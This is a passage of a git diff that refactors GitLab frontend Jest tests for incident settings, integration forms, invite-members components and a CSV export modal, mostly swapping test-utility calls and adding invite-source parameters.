<gl-form-input-group-stub
data-testid="webhook-url"
@@ -66,20 +68,6 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
</gl-modal-stub>
</gl-form-group-stub>
-
- <gl-button-stub
- buttontextclasses=""
- category="primary"
- class="js-no-auto-disable"
- icon=""
- size="medium"
- type="submit"
- variant="success"
- >
-
- Save changes
-
- </gl-button-stub>
</form>
</div>
`;
diff --git a/spec/frontend/incidents_settings/components/alerts_form_spec.js b/spec/frontend/incidents_settings/components/alerts_form_spec.js
deleted file mode 100644
index 2516e8afdfa..00000000000
--- a/spec/frontend/incidents_settings/components/alerts_form_spec.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import AlertsSettingsForm from '~/incidents_settings/components/alerts_form.vue';
-
-describe('Alert integration settings form', () => {
- let wrapper;
- const service = { updateSettings: jest.fn().mockResolvedValue() };
-
- const findForm = () => wrapper.find({ ref: 'settingsForm' });
-
- beforeEach(() => {
- wrapper = shallowMount(AlertsSettingsForm, {
- provide: {
- service,
- alertSettings: {
- issueTemplateKey: 'selecte_tmpl',
- createIssue: true,
- sendEmail: false,
- templates: [],
- autoCloseIncident: true,
- },
- },
- });
- });
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- describe('default state', () => {
- it('should match the default snapshot', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('form', () => {
- it('should call service `updateSettings` on submit', () => {
- findForm().trigger('submit');
- expect(service.updateSettings).toHaveBeenCalledWith(
- expect.objectContaining({
- create_issue: wrapper.vm.createIssueEnabled,
- issue_template_key: wrapper.vm.issueTemplate,
- send_email: wrapper.vm.sendEmailEnabled,
- auto_close_incident: wrapper.vm.autoCloseIncident,
- }),
- );
- });
- });
-});
diff --git a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
index 5476e895c68..f4342c56f98 100644
--- a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
+++ b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
@@ -1,5 +1,5 @@
import AxiosMockAdapter from 'axios-mock-adapter';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { ERROR_MSG } from '~/incidents_settings/constants';
import IncidentsSettingsService from '~/incidents_settings/incidents_settings_service';
import axios from '~/lib/utils/axios_utils';
@@ -37,7 +37,10 @@ describe('IncidentsSettingsService', () => {
mock.onPatch().reply(httpStatusCodes.BAD_REQUEST);
return service.updateSettings({}).then(() => {
- expect(createFlash).toHaveBeenCalledWith(expect.stringContaining(ERROR_MSG), 'alert');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringContaining(ERROR_MSG),
+ type: 'alert',
+ });
});
});
});
diff --git a/spec/frontend/incidents_settings/components/pagerduty_form_spec.js b/spec/frontend/incidents_settings/components/pagerduty_form_spec.js
index 2ffd1292ddc..d2b591d427d 100644
--- a/spec/frontend/incidents_settings/components/pagerduty_form_spec.js
+++ b/spec/frontend/incidents_settings/components/pagerduty_form_spec.js
@@ -1,5 +1,5 @@
-import { GlAlert, GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { GlAlert, GlModal, GlToggle } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import PagerDutySettingsForm from '~/incidents_settings/components/pagerduty_form.vue';
@@ -8,13 +8,13 @@ describe('Alert integration settings form', () => {
const resetWebhookUrl = jest.fn();
const service = { updateSettings: jest.fn().mockResolvedValue(), resetWebhookUrl };
- const findForm = () => wrapper.find({ ref: 'settingsForm' });
- const findWebhookInput = () => wrapper.find('[data-testid="webhook-url"]');
- const findModal = () => wrapper.find(GlModal);
- const findAlert = () => wrapper.find(GlAlert);
+ const findWebhookInput = () => wrapper.findByTestId('webhook-url');
+ const findFormToggle = () => wrapper.findComponent(GlToggle);
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findAlert = () => wrapper.findComponent(GlAlert);
beforeEach(() => {
- wrapper = shallowMount(PagerDutySettingsForm, {
+ wrapper = shallowMountExtended(PagerDutySettingsForm, {
provide: {
service,
pagerDutySettings: {
@@ -27,18 +27,15 @@ describe('Alert integration settings form', () => {
});
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
it('should match the default snapshot', () => {
expect(wrapper.element).toMatchSnapshot();
});
- it('should call service `updateSettings` on form submit', () => {
- findForm().trigger('submit');
+ it('should call service `updateSettings` on toggle change', () => {
+ findFormToggle().vm.$emit('change', true);
expect(service.updateSettings).toHaveBeenCalledWith(
expect.objectContaining({ pagerduty_active: wrapper.vm.active }),
);
diff --git a/spec/frontend/integrations/edit/components/active_checkbox_spec.js b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
index 0e56fb6454e..df7ffd19747 100644
--- a/spec/frontend/integrations/edit/components/active_checkbox_spec.js
+++ b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
@@ -1,5 +1,6 @@
import { GlFormCheckbox } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
+
import ActiveCheckbox from '~/integrations/edit/components/active_checkbox.vue';
import { createStore } from '~/integrations/edit/store';
diff --git a/spec/frontend/integrations/edit/components/confirmation_modal_spec.js b/spec/frontend/integrations/edit/components/confirmation_modal_spec.js
index 1c126f60c37..805d3971994 100644
--- a/spec/frontend/integrations/edit/components/confirmation_modal_spec.js
+++ b/spec/frontend/integrations/edit/components/confirmation_modal_spec.js
@@ -1,5 +1,6 @@
import { GlModal } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+
import ConfirmationModal from '~/integrations/edit/components/confirmation_modal.vue';
import { createStore } from '~/integrations/edit/store';
@@ -13,13 +14,10 @@ describe('ConfirmationModal', () => {
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
- const findGlModal = () => wrapper.find(GlModal);
+ const findGlModal = () => wrapper.findComponent(GlModal);
describe('template', () => {
beforeEach(() => {
diff --git a/spec/frontend/integrations/edit/components/dynamic_field_spec.js b/spec/frontend/integrations/edit/components/dynamic_field_spec.js
index 2ebb3333c0f..8784b3c2b00 100644
--- a/spec/frontend/integrations/edit/components/dynamic_field_spec.js
+++ b/spec/frontend/integrations/edit/components/dynamic_field_spec.js
@@ -1,5 +1,6 @@
import { GlFormGroup, GlFormCheckbox, GlFormInput, GlFormSelect, GlFormTextarea } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
+
import DynamicField from '~/integrations/edit/components/dynamic_field.vue';
describe('DynamicField', () => {
@@ -24,17 +25,14 @@ describe('DynamicField', () => {
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
- const findGlFormGroup = () => wrapper.find(GlFormGroup);
- const findGlFormCheckbox = () => wrapper.find(GlFormCheckbox);
- const findGlFormInput = () => wrapper.find(GlFormInput);
- const findGlFormSelect = () => wrapper.find(GlFormSelect);
- const findGlFormTextarea = () => wrapper.find(GlFormTextarea);
+ const findGlFormGroup = () => wrapper.findComponent(GlFormGroup);
+ const findGlFormCheckbox = () => wrapper.findComponent(GlFormCheckbox);
+ const findGlFormInput = () => wrapper.findComponent(GlFormInput);
+ const findGlFormSelect = () => wrapper.findComponent(GlFormSelect);
+ const findGlFormTextarea = () => wrapper.findComponent(GlFormTextarea);
describe('template', () => {
describe.each([
diff --git a/spec/frontend/integrations/edit/components/integration_form_spec.js b/spec/frontend/integrations/edit/components/integration_form_spec.js
index c015fd0b9e0..cbce26762b1 100644
--- a/spec/frontend/integrations/edit/components/integration_form_spec.js
+++ b/spec/frontend/integrations/edit/components/integration_form_spec.js
@@ -1,6 +1,6 @@
-import { shallowMount } from '@vue/test-utils';
import { setHTMLFixture } from 'helpers/fixtures';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
import { mockIntegrationProps } from 'jest/integrations/edit/mock_data';
import ActiveCheckbox from '~/integrations/edit/components/active_checkbox.vue';
import ConfirmationModal from '~/integrations/edit/components/confirmation_modal.vue';
@@ -23,42 +23,37 @@ describe('IntegrationForm', () => {
initialState = {},
props = {},
} = {}) => {
- wrapper = extendedWrapper(
- shallowMount(IntegrationForm, {
- propsData: { ...props },
- store: createStore({
- customState: { ...mockIntegrationProps, ...customStateProps },
- ...initialState,
- }),
- stubs: {
- OverrideDropdown,
- ActiveCheckbox,
- ConfirmationModal,
- JiraTriggerFields,
- TriggerFields,
- },
- provide: {
- glFeatures: featureFlags,
- },
+ wrapper = shallowMountExtended(IntegrationForm, {
+ propsData: { ...props },
+ store: createStore({
+ customState: { ...mockIntegrationProps, ...customStateProps },
+ ...initialState,
}),
- );
+ stubs: {
+ OverrideDropdown,
+ ActiveCheckbox,
+ ConfirmationModal,
+ JiraTriggerFields,
+ TriggerFields,
+ },
+ provide: {
+ glFeatures: featureFlags,
+ },
+ });
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
- const findOverrideDropdown = () => wrapper.find(OverrideDropdown);
- const findActiveCheckbox = () => wrapper.find(ActiveCheckbox);
- const findConfirmationModal = () => wrapper.find(ConfirmationModal);
- const findResetConfirmationModal = () => wrapper.find(ResetConfirmationModal);
- const findResetButton = () => wrapper.find('[data-testid="reset-button"]');
- const findJiraTriggerFields = () => wrapper.find(JiraTriggerFields);
- const findJiraIssuesFields = () => wrapper.find(JiraIssuesFields);
- const findTriggerFields = () => wrapper.find(TriggerFields);
+ const findOverrideDropdown = () => wrapper.findComponent(OverrideDropdown);
+ const findActiveCheckbox = () => wrapper.findComponent(ActiveCheckbox);
+ const findConfirmationModal = () => wrapper.findComponent(ConfirmationModal);
+ const findResetConfirmationModal = () => wrapper.findComponent(ResetConfirmationModal);
+ const findResetButton = () => wrapper.findByTestId('reset-button');
+ const findJiraTriggerFields = () => wrapper.findComponent(JiraTriggerFields);
+ const findJiraIssuesFields = () => wrapper.findComponent(JiraIssuesFields);
+ const findTriggerFields = () => wrapper.findComponent(TriggerFields);
describe('template', () => {
describe('showActive is true', () => {
@@ -286,7 +281,7 @@ describe('IntegrationForm', () => {
</div>
`);
- it('renders `helpHtml`', async () => {
+ it('renders `helpHtml`', () => {
const mockHelpHtml = document.querySelector(`[data-testid="${mockTestId}"]`);
createComponent({
diff --git a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
index f121a148f27..eb5f7e9fe40 100644
--- a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
@@ -1,10 +1,13 @@
import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+
import JiraIssuesFields from '~/integrations/edit/components/jira_issues_fields.vue';
import JiraUpgradeCta from '~/integrations/edit/components/jira_upgrade_cta.vue';
import eventHub from '~/integrations/edit/event_hub';
+import { createStore } from '~/integrations/edit/store';
describe('JiraIssuesFields', () => {
+ let store;
let wrapper;
const defaultProps = {
@@ -13,25 +16,29 @@ describe('JiraIssuesFields', () => {
showJiraVulnerabilitiesIntegration: true,
};
- const createComponent = ({ props, ...options } = {}) => {
- wrapper = mount(JiraIssuesFields, {
+ const createComponent = ({ isInheriting = false, props, ...options } = {}) => {
+ store = createStore({
+ defaultState: isInheriting ? {} : undefined,
+ });
+
+ wrapper = mountExtended(JiraIssuesFields, {
propsData: { ...defaultProps, ...props },
+ store,
stubs: ['jira-issue-creation-vulnerabilities'],
...options,
});
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
const findEnableCheckbox = () => wrapper.findComponent(GlFormCheckbox);
+ const findEnableCheckboxDisabled = () =>
+ findEnableCheckbox().find('[type=checkbox]').attributes('disabled');
const findProjectKey = () => wrapper.findComponent(GlFormInput);
const findJiraUpgradeCta = () => wrapper.findComponent(JiraUpgradeCta);
- const findJiraForVulnerabilities = () => wrapper.find('[data-testid="jira-for-vulnerabilities"]');
+ const findJiraForVulnerabilities = () => wrapper.findByTestId('jira-for-vulnerabilities');
const setEnableCheckbox = async (isEnabled = true) =>
findEnableCheckbox().vm.$emit('input', isEnabled);
@@ -79,6 +86,19 @@ describe('JiraIssuesFields', () => {
createComponent({ props: { initialProjectKey: '' } });
});
+ it('renders enabled checkbox', () => {
+ expect(findEnableCheckbox().exists()).toBe(true);
+ expect(findEnableCheckboxDisabled()).toBeUndefined();
+ });
+
+ it('renders disabled project_key input', () => {
+ const projectKey = findProjectKey();
+
+ expect(projectKey.exists()).toBe(true);
+ expect(projectKey.attributes('disabled')).toBe('disabled');
+ expect(projectKey.attributes('required')).toBeUndefined();
+ });
+
it('does not show upgrade banner', () => {
expect(findJiraUpgradeCta().exists()).toBe(false);
});
@@ -89,24 +109,20 @@ describe('JiraIssuesFields', () => {
expect(wrapper.find('input[name="service[issues_enabled]"]').exists()).toBe(true);
});
- it('disables project_key input', () => {
- expect(findProjectKey().attributes('disabled')).toBe('disabled');
- });
+ describe('when isInheriting = true', () => {
+ it('disables checkbox and sets input as readonly', () => {
+ createComponent({ isInheriting: true });
- it('does not require project_key', () => {
- expect(findProjectKey().attributes('required')).toBeUndefined();
+ expect(findEnableCheckboxDisabled()).toBe('disabled');
+ expect(findProjectKey().attributes('readonly')).toBe('readonly');
+ });
});
describe('on enable issues', () => {
- it('enables project_key input', async () => {
+ it('enables project_key input as required', async () => {
await setEnableCheckbox(true);
expect(findProjectKey().attributes('disabled')).toBeUndefined();
- });
-
- it('requires project_key input', async () => {
- await setEnableCheckbox(true);
-
expect(findProjectKey().attributes('required')).toBe('required');
});
});
diff --git a/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js b/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
index 5c04add61a1..9e01371f542 100644
--- a/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
@@ -1,5 +1,6 @@
import { GlFormCheckbox } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+
import JiraTriggerFields from '~/integrations/edit/components/jira_trigger_fields.vue';
describe('JiraTriggerFields', () => {
@@ -12,7 +13,7 @@ describe('JiraTriggerFields', () => {
};
const createComponent = (props, isInheriting = false) => {
- wrapper = mount(JiraTriggerFields, {
+ wrapper = mountExtended(JiraTriggerFields, {
propsData: { ...defaultProps, ...props },
computed: {
isInheriting: () => isInheriting,
@@ -21,18 +22,15 @@ describe('JiraTriggerFields', () => {
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
- const findCommentSettings = () => wrapper.find('[data-testid="comment-settings"]');
- const findCommentDetail = () => wrapper.find('[data-testid="comment-detail"]');
- const findCommentSettingsCheckbox = () => findCommentSettings().find(GlFormCheckbox);
+ const findCommentSettings = () => wrapper.findByTestId('comment-settings');
+ const findCommentDetail = () => wrapper.findByTestId('comment-detail');
+ const findCommentSettingsCheckbox = () => findCommentSettings().findComponent(GlFormCheckbox);
const findIssueTransitionEnabled = () =>
wrapper.find('[data-testid="issue-transition-enabled"] input[type="checkbox"]');
- const findIssueTransitionMode = () => wrapper.find('[data-testid="issue-transition-mode"]');
+ const findIssueTransitionMode = () => wrapper.findByTestId('issue-transition-mode');
const findIssueTransitionModeRadios = () =>
findIssueTransitionMode().findAll('input[type="radio"]');
const findIssueTransitionIdsField = () =>
diff --git a/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js b/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js
index e49a1619627..e90e9a5d2ac 100644
--- a/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+
import JiraUpgradeCta from '~/integrations/edit/components/jira_upgrade_cta.vue';
describe('JiraUpgradeCta', () => {
@@ -18,13 +19,13 @@ describe('JiraUpgradeCta', () => {
it('displays the correct message for premium and lower users', () => {
createComponent({ showPremiumMessage: true });
- expect(wrapper.html()).toContain('This is a Premium feature');
- expect(wrapper.html()).toContain(contentMessage);
+ expect(wrapper.text()).toContain('This is a Premium feature');
+ expect(wrapper.text()).toContain(contentMessage);
});
it('displays the correct message for ultimate and lower users', () => {
createComponent({ showUltimateMessage: true });
- expect(wrapper.html()).toContain('This is an Ultimate feature');
- expect(wrapper.html()).toContain(contentMessage);
+ expect(wrapper.text()).toContain('This is an Ultimate feature');
+ expect(wrapper.text()).toContain(contentMessage);
});
});
diff --git a/spec/frontend/integrations/edit/components/override_dropdown_spec.js b/spec/frontend/integrations/edit/components/override_dropdown_spec.js
index 592f4514e45..eb43d940f5e 100644
--- a/spec/frontend/integrations/edit/components/override_dropdown_spec.js
+++ b/spec/frontend/integrations/edit/components/override_dropdown_spec.js
@@ -1,5 +1,6 @@
import { GlDropdown, GlLink } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+
import OverrideDropdown from '~/integrations/edit/components/override_dropdown.vue';
import { integrationLevels, overrideDropdownDescriptions } from '~/integrations/edit/constants';
import { createStore } from '~/integrations/edit/store';
@@ -26,14 +27,11 @@ describe('OverrideDropdown', () => {
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
- const findGlLink = () => wrapper.find(GlLink);
- const findGlDropdown = () => wrapper.find(GlDropdown);
+ const findGlLink = () => wrapper.findComponent(GlLink);
+ const findGlDropdown = () => wrapper.findComponent(GlDropdown);
describe('template', () => {
describe('override prop is true', () => {
diff --git a/spec/frontend/integrations/edit/components/trigger_fields_spec.js b/spec/frontend/integrations/edit/components/trigger_fields_spec.js
index b9d16464e72..a0816682741 100644
--- a/spec/frontend/integrations/edit/components/trigger_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/trigger_fields_spec.js
@@ -1,5 +1,6 @@
import { GlFormGroup, GlFormCheckbox, GlFormInput } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+
import TriggerFields from '~/integrations/edit/components/trigger_fields.vue';
describe('TriggerFields', () => {
@@ -10,7 +11,7 @@ describe('TriggerFields', () => {
};
const createComponent = (props, isInheriting = false) => {
- wrapper = mount(TriggerFields, {
+ wrapper = mountExtended(TriggerFields, {
propsData: { ...defaultProps, ...props },
computed: {
isInheriting: () => isInheriting,
@@ -19,21 +20,19 @@ describe('TriggerFields', () => {
};
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
});
+ const findTriggerLabel = () => wrapper.findByTestId('trigger-fields-group').find('label');
const findAllGlFormGroups = () => wrapper.find('#trigger-fields').findAll(GlFormGroup);
- const findAllGlFormCheckboxes = () => wrapper.findAll(GlFormCheckbox);
- const findAllGlFormInputs = () => wrapper.findAll(GlFormInput);
+ const findAllGlFormCheckboxes = () => wrapper.findAllComponents(GlFormCheckbox);
+ const findAllGlFormInputs = () => wrapper.findAllComponents(GlFormInput);
describe.each([true, false])('template, isInheriting = `%p`', (isInheriting) => {
it('renders a label with text "Trigger"', () => {
createComponent();
- const triggerLabel = wrapper.find('[data-testid="trigger-fields-group"]').find('label');
+ const triggerLabel = findTriggerLabel();
expect(triggerLabel.exists()).toBe(true);
expect(triggerLabel.text()).toBe('Trigger');
});
@@ -68,7 +67,7 @@ describe('TriggerFields', () => {
});
it('renders GlFormInput with description for each event', () => {
- const groups = wrapper.find('#trigger-fields').findAll(GlFormGroup);
+ const groups = findAllGlFormGroups();
expect(groups).toHaveLength(2);
groups.wrappers.forEach((group, index) => {
@@ -138,11 +137,11 @@ describe('TriggerFields', () => {
const expectedResults = [
{
name: 'service[push_channel]',
- placeholder: 'general, development',
+ placeholder: '#general, #development',
},
{
name: 'service[merge_request_channel]',
- placeholder: 'general, development',
+ placeholder: '#general, #development',
},
];
diff --git a/spec/frontend/integrations/index/components/integrations_list_spec.js b/spec/frontend/integrations/index/components/integrations_list_spec.js
index 94fd7fc84ee..ee54a5fd359 100644
--- a/spec/frontend/integrations/index/components/integrations_list_spec.js
+++ b/spec/frontend/integrations/index/components/integrations_list_spec.js
@@ -1,5 +1,5 @@
-import { shallowMount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
import IntegrationsList from '~/integrations/index/components/integrations_list.vue';
import { mockActiveIntegrations, mockInactiveIntegrations } from '../mock_data';
@@ -10,7 +10,7 @@ describe('IntegrationsList', () => {
const findInactiveIntegrationsTable = () => wrapper.findByTestId('inactive-integrations-table');
const createComponent = (propsData = {}) => {
- wrapper = extendedWrapper(shallowMount(IntegrationsList, { propsData }));
+ wrapper = shallowMountExtended(IntegrationsList, { propsData });
};
afterEach(() => {
diff --git a/spec/frontend/invite_members/components/group_select_spec.js b/spec/frontend/invite_members/components/group_select_spec.js
index 2a6985de136..2ef8fe07650 100644
--- a/spec/frontend/invite_members/components/group_select_spec.js
+++ b/spec/frontend/invite_members/components/group_select_spec.js
@@ -1,22 +1,22 @@
-import { GlDropdown, GlDropdownItem, GlSearchBoxByType } from '@gitlab/ui';
+import { GlAvatarLabeled, GlDropdown, GlSearchBoxByType } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
-import Api from '~/api';
+import * as groupsApi from '~/api/groups_api';
import GroupSelect from '~/invite_members/components/group_select.vue';
const createComponent = () => {
return mount(GroupSelect, {});
};
-const group1 = { id: 1, full_name: 'Group One' };
-const group2 = { id: 2, full_name: 'Group Two' };
+const group1 = { id: 1, full_name: 'Group One', avatar_url: 'test' };
+const group2 = { id: 2, full_name: 'Group Two', avatar_url: 'test' };
const allGroups = [group1, group2];
describe('GroupSelect', () => {
let wrapper;
beforeEach(() => {
- jest.spyOn(Api, 'groups').mockResolvedValue(allGroups);
+ jest.spyOn(groupsApi, 'getGroups').mockResolvedValue(allGroups);
wrapper = createComponent();
});
@@ -29,10 +29,10 @@ describe('GroupSelect', () => {
const findSearchBoxByType = () => wrapper.findComponent(GlSearchBoxByType);
const findDropdown = () => wrapper.findComponent(GlDropdown);
const findDropdownToggle = () => findDropdown().find('button[aria-haspopup="true"]');
- const findDropdownItemByText = (text) =>
+ const findAvatarByLabel = (text) =>
wrapper
- .findAllComponents(GlDropdownItem)
- .wrappers.find((dropdownItemWrapper) => dropdownItemWrapper.text() === text);
+ .findAllComponents(GlAvatarLabeled)
+ .wrappers.find((dropdownItemWrapper) => dropdownItemWrapper.props('label') === text);
it('renders GlSearchBoxByType with default attributes', () => {
expect(findSearchBoxByType().exists()).toBe(true);
@@ -45,7 +45,7 @@ describe('GroupSelect', () => {
let resolveApiRequest;
beforeEach(() => {
- jest.spyOn(Api, 'groups').mockImplementation(
+ jest.spyOn(groupsApi, 'getGroups').mockImplementation(
() =>
new Promise((resolve) => {
resolveApiRequest = resolve;
@@ -58,7 +58,7 @@ describe('GroupSelect', () => {
it('calls the API', () => {
resolveApiRequest({ data: allGroups });
- expect(Api.groups).toHaveBeenCalledWith(group1.name, {
+ expect(groupsApi.getGroups).toHaveBeenCalledWith(group1.name, {
active: true,
exclude_internal: true,
});
@@ -74,9 +74,20 @@ describe('GroupSelect', () => {
});
});
+ describe('avatar label', () => {
+ it('includes the correct attributes with name and avatar_url', () => {
+ expect(findAvatarByLabel(group1.full_name).attributes()).toMatchObject({
+ src: group1.avatar_url,
+ 'entity-id': `${group1.id}`,
+ 'entity-name': group1.full_name,
+ size: '32',
+ });
+ });
+ });
+
describe('when group is selected from the dropdown', () => {
beforeEach(() => {
- findDropdownItemByText(group1.full_name).vm.$emit('click');
+ findAvatarByLabel(group1.full_name).trigger('click');
});
it('emits `input` event used by `v-model`', () => {
diff --git a/spec/frontend/invite_members/components/invite_members_modal_spec.js b/spec/frontend/invite_members/components/invite_members_modal_spec.js
index 7ed18775693..eabbea84234 100644
--- a/spec/frontend/invite_members/components/invite_members_modal_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_modal_spec.js
@@ -15,6 +15,7 @@ const isProject = false;
const inviteeType = 'members';
const accessLevels = { Guest: 10, Reporter: 20, Developer: 30, Maintainer: 40, Owner: 50 };
const defaultAccessLevel = 10;
+const inviteSource = 'unknown';
const helpLink = 'https://example.com';
const user1 = { id: 1, name: 'Name One', username: 'one_1', avatar_url: '' };
@@ -173,6 +174,7 @@ describe('InviteMembersModal', () => {
user_id: '1',
access_level: defaultAccessLevel,
expires_at: undefined,
+ invite_source: inviteSource,
format: 'json',
};
@@ -245,6 +247,7 @@ describe('InviteMembersModal', () => {
access_level: defaultAccessLevel,
expires_at: undefined,
email: 'email@example.com',
+ invite_source: inviteSource,
format: 'json',
};
@@ -293,6 +296,7 @@ describe('InviteMembersModal', () => {
const postData = {
access_level: defaultAccessLevel,
expires_at: undefined,
+ invite_source: inviteSource,
format: 'json',
};
@@ -308,20 +312,39 @@ describe('InviteMembersModal', () => {
jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
jest.spyOn(wrapper.vm, 'trackInvite');
-
- clickInviteButton();
});
- it('calls Api inviteGroupMembersByEmail with the correct params', () => {
- expect(Api.inviteGroupMembersByEmail).toHaveBeenCalledWith(id, emailPostData);
- });
+ describe('when triggered from regular mounting', () => {
+ beforeEach(() => {
+ clickInviteButton();
+ });
- it('calls Api addGroupMembersByUserId with the correct params', () => {
- expect(Api.addGroupMembersByUserId).toHaveBeenCalledWith(id, idPostData);
+ it('calls Api inviteGroupMembersByEmail with the correct params', () => {
+ expect(Api.inviteGroupMembersByEmail).toHaveBeenCalledWith(id, emailPostData);
+ });
+
+ it('calls Api addGroupMembersByUserId with the correct params', () => {
+ expect(Api.addGroupMembersByUserId).toHaveBeenCalledWith(id, idPostData);
+ });
+
+ it('displays the successful toastMessage', () => {
+ expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ });
});
- it('displays the successful toastMessage', () => {
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ it('calls Apis with the invite source passed through to openModal', () => {
+ wrapper.vm.openModal({ inviteeType: 'members', source: '_invite_source_' });
+
+ clickInviteButton();
+
+ expect(Api.inviteGroupMembersByEmail).toHaveBeenCalledWith(id, {
+ ...emailPostData,
+ invite_source: '_invite_source_',
+ });
+ expect(Api.addGroupMembersByUserId).toHaveBeenCalledWith(id, {
+ ...idPostData,
+ invite_source: '_invite_source_',
+ });
});
});
@@ -403,18 +426,11 @@ describe('InviteMembersModal', () => {
});
describe('tracking', () => {
- const postData = {
- user_id: '1',
- access_level: defaultAccessLevel,
- expires_at: undefined,
- format: 'json',
- };
-
beforeEach(() => {
wrapper = createComponent({ newUsersToInvite: [user3] });
wrapper.vm.$toast = { show: jest.fn() };
- jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
+ jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({});
});
it('tracks the invite', () => {
diff --git a/spec/frontend/invite_members/components/invite_members_trigger_spec.js b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
index b569b6286e0..f57af61ad5b 100644
--- a/spec/frontend/invite_members/components/invite_members_trigger_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
@@ -7,6 +7,8 @@ import eventHub from '~/invite_members/event_hub';
jest.mock('~/experimentation/experiment_tracking');
const displayText = 'Invite team members';
+const triggerSource = '_trigger_source_';
+
let wrapper;
let triggerProps;
let findButton;
@@ -26,7 +28,7 @@ const createComponent = (props = {}) => {
};
describe.each(['button', 'anchor'])('with triggerElement as %s', (triggerElement) => {
- triggerProps = { triggerElement };
+ triggerProps = { triggerElement, triggerSource };
findButton = () => wrapper.findComponent(triggerComponent[triggerElement]);
afterEach(() => {
@@ -48,22 +50,14 @@ describe.each(['button', 'anchor'])('with triggerElement as %s', (triggerElement
spy = jest.spyOn(eventHub, '$emit');
});
- it('emits openModal from an unknown source', () => {
- createComponent();
-
- findButton().vm.$emit('click');
-
- expect(spy).toHaveBeenCalledWith('openModal', { inviteeType: 'members', source: 'unknown' });
- });
-
it('emits openModal from a named source', () => {
- createComponent({ triggerSource: '_trigger_source_' });
+ createComponent();
findButton().vm.$emit('click');
expect(spy).toHaveBeenCalledWith('openModal', {
inviteeType: 'members',
- source: '_trigger_source_',
+ source: triggerSource,
});
});
});
diff --git a/spec/frontend/issuable/components/csv_export_modal_spec.js b/spec/frontend/issuable/components/csv_export_modal_spec.js
index 7eb85a946ae..34094d22e68 100644
--- a/spec/frontend/issuable/components/csv_export_modal_spec.js
+++ b/spec/frontend/issuable/components/csv_export_modal_spec.js
@@ -1,7 +1,6 @@
import { GlModal, GlIcon, GlButton } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { stubComponent } from 'helpers/stub_component';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import CsvExportModal from '~/issuable/components/csv_export_modal.vue';
describe('CsvExportModal', () => {
@@ -9,26 +8,24 @@ describe('CsvExportModal', () => {
function createComponent(options = {}) {
const { injectedProperties = {}, props = {} } = options;
- return extendedWrapper(
- mount(CsvExportModal, {
